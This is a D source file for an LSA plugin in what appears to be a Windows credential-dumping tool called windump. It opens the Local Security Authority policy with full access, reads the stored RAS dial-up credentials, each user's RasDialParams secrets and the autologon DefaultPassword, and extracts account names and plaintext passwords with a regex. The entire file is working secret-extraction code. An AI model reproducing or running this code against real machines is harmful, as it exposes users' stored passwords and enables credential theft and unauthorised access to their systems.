module windump.plugins.lsa.lsa;

import std.string;
import std.c.string;
import std.regexp;
import std.utf;

import windump.w32api;
import windump.util;
import windump.utf;
import windump.dll;

import windump.scanning.detector;

private enum : uint { MAX_PRIVATE_DATA = 0x200 };

private static const string RasRegexp1 = "L$_RasDefaultCredentials#0";
private static const string RasRegexp2 = "RasDialParams!";

private static const string DefaultPassword = "DefaultPassword";
private static const string RegexString = "#1600#7###(.+)#(.+)##0#";


/*
static DllImport!("advapi32.dll", "LookupAccountNameW", 
		BOOL function(LPCWSTR, LPCWSTR, PSID, LPDWORD, LPWSTR, LPDWORD, PSID_NAME_USE)
		) LookupAccountNameW;

static DllImport!("advapi32.dll", "ConvertSidToStringSidW", 
		BOOL function(PSID,LPWSTR*)
		) ConvertSidToStringSidW;
*/

private class Policy
{
	invariant 
	{
		assert(m_handle !is null);
	}

    private LSA_HANDLE  m_handle = null;   

    public this()
    {
        m_handle = getPolicyHandle;
    }
   
    public ~this()
    {
        LsaClose(m_handle);
    }

    public LSA_HANDLE handle()
    {
        assert(m_handle != null);
        return m_handle;
    }

    public static LSA_HANDLE getPolicyHandle()
    {
        LSA_OBJECT_ATTRIBUTES ObjectAttributes;
        LSA_HANDLE lsah;
        memset(&ObjectAttributes, 0, ObjectAttributes.sizeof);
        LsaOpenPolicy( null, &ObjectAttributes, POLICY_ALL_ACCESS, &lsah);
        return lsah;
    }

	wstring RetrievePrivateData(string keyName)		
	{
		assert(m_handle != null);

        wstring wkeyName = toUTF16(keyName);

		LSA_UNICODE_STRING* data;
		LSA_UNICODE_STRING  uskn;
		uskn.Length = cast(ushort)(wkeyName.length * wchar.sizeof);
		uskn.Buffer = cast(PWSTR)wkeyName.ptr;
		uskn.MaximumLength = MAX_PRIVATE_DATA;
		NTSTATUS s = LsaRetrievePrivateData(m_handle, &uskn, &data);
        scope(exit) LsaFreeMemory(data);
        if(s != 0)
            throw new Exception("Failed to RetrievePrivateData");
        wstring ret;
        ret.length = data.Length / 2;
        ret[] = data.Buffer[0 .. data.Length / 2];

		return ret; 
	}

}

class Sid
{
	invariant
	{
		assert(m_psid !is null);
	}

	private PSID m_psid = null;

	public this()
	{
		wchar[MAX_PRIVATE_DATA] account;
		uint                    accountSize = account.length;
		PSID                    psid = null;
		uint                    sidSize;
		wstring                 domain;
		uint                    domainSize;

		SID_NAME_USE            st = SID_NAME_USE.SidTypeUser;

		GetUserNameW(account.ptr, &accountSize);
		LookupAccountNameW(null, account.ptr, psid, &sidSize, null, &domainSize, &st);
		psid = cast(PSID)new ubyte[sidSize];
		domain.length = domainSize;
		LookupAccountNameW(null, account.ptr, psid, &sidSize, domain.ptr, &domainSize, &st);
		m_psid = psid;
	}

	public string toString()
	{
		LPWSTR sidstr = null;
		ConvertSidToStringSidW(m_psid, &sidstr);
		string ret = toUtf8(sidstr);
		scope(exit) LocalFree(cast(HANDLE)sidstr);
		return ret;
	}
}

class LsaDetector : Detector!(LsaDetector, "system/lsa", "table")
{
    public this()
    {
    }

    public override ResultItem[] update()
    {
        ResultItem[] ret;

        scope Policy p = new Policy;

		void addItems(string keyname)
		{
			wstring wr1 = p.RetrievePrivateData(keyname);
			foreach(inout c; wr1) if(c == '\0')c = '#';
			string r1 = toUTF8(wr1);
			foreach(m; RegExp(RegexString).search(r1))
			{
				ResultItem item;
                item.provider = name();
                item.host = "Local RSA";
				item.account = m.match(1);
				item.password = m.match(2);
                ret ~= item;
			}
		}
		
		try {
			addItems(RasRegexp1);
		} catch {}

		try {
			auto sid = new Sid;
			addItems(RasRegexp2 ~ sid.toString ~ "#0");
		} catch {}

        try
        {            
            ResultItem defaultPass;
            defaultPass.host = "DefaultPassword";
            defaultPass.provider = name();
            defaultPass.password = toUTF8(p.RetrievePrivateData(DefaultPassword)); 
            ret ~= defaultPass;
        }
        catch(Exception e)
        {
        }

        return ret;
    }
}
